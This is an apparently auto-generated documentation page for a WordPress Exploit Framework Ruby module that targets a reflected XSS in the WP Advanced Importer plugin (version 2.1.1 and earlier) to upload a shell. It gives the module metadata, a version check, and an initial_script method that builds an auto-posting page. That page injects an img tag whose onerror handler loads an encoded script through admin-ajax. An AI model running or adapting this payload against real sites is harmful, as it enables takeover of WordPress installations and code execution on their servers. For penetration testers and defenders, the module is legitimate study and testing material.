class Wpxf::Exploit::WpAdvancedImporterReflectedXssShellUpload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::StagedReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/wp_advanced_importer_reflected_xss_shell_upload.rb, line 6 def initialize super update_info( name: 'WP Advanced Importer <= 2.1.1 Reflected XSS Shell Upload', author: [ 'Rahul Pratap Singh', # Disclosure 'rastating' # WPXF module ], references: [ ['WPVDB', '8396'], ['URL', 'https://0x62626262.wordpress.com/2016/02/23/wp-advanced-importer-xss-vulnerability/'] ], date: 'Feb 23 2016' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_advanced_importer_reflected_xss_shell_upload.rb, line 23 def check check_plugin_version_from_readme('wp-advanced-importer', '2.2') end
initial_script()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_advanced_importer_reflected_xss_shell_upload.rb, line 27 def initial_script %|<html><head></head><body><script> #{js_post} post('#{wordpress_url_admin_ajax}', { action: 'trans_xmlalert_str', alertmsg: "\\"><img src=x onerror=#{xss_ascii_encoded_include_script}>" }); </script></body></html> | end